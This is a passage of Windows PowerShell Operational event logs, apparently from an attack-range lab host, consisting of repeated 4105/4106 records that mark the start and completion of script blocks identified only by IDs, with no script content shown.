Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046663
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046657
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046635
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046633
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046632
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
